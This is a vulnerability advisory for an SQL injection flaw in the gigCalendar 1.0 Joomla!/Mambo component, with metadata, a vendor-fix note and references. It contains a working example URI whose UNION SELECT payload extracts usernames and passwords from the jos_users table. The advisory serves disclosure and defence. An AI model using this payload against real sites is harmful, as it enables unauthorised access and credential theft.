Joomla! and Mambo gigCalendar Component 'venuedetails.php' SQL Injection Vulnerability

Bugtraq ID:	33863
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Feb 23 2009 12:00AM
Updated:	Jul 15 2009 10:06PM
Credit:	Salvatore Fresta
Vulnerable:	gigCalendar gigCalendar 1.0
Not Vulnerable:

Joomla! and Mambo gigCalendar Component 'venuedetails.php' SQL Injection Vulnerability

The gigCalendar component for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

gigCalendar 1.0 is vulnerable; other versions may also be affected.

Joomla! and Mambo gigCalendar Component 'venuedetails.php' SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/path/index.php?option=com_gigcal&task=details&gigcal_venues_id=-1'
UNION ALL SELECT 1,concat('username: ',
username),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,concat('password:
', password),NULL,NULL,NULL,NULL,NULL,NULL FROM jos_users%23

Joomla! and Mambo gigCalendar Component 'venuedetails.php' SQL Injection Vulnerability

Solution:
The vendor has released an update. Please see the references for details.

Joomla! and Mambo gigCalendar Component 'venuedetails.php' SQL Injection Vulnerability

References:

• gigCalendar Homepage (gigCalendar)
  
• gigCalendar 1.0 (venuedetails.php) Joomla Component SQL Injection ('Salvatore \"drosophila\" Fresta' )
  
• Release ID: 10580 (gigCalendar)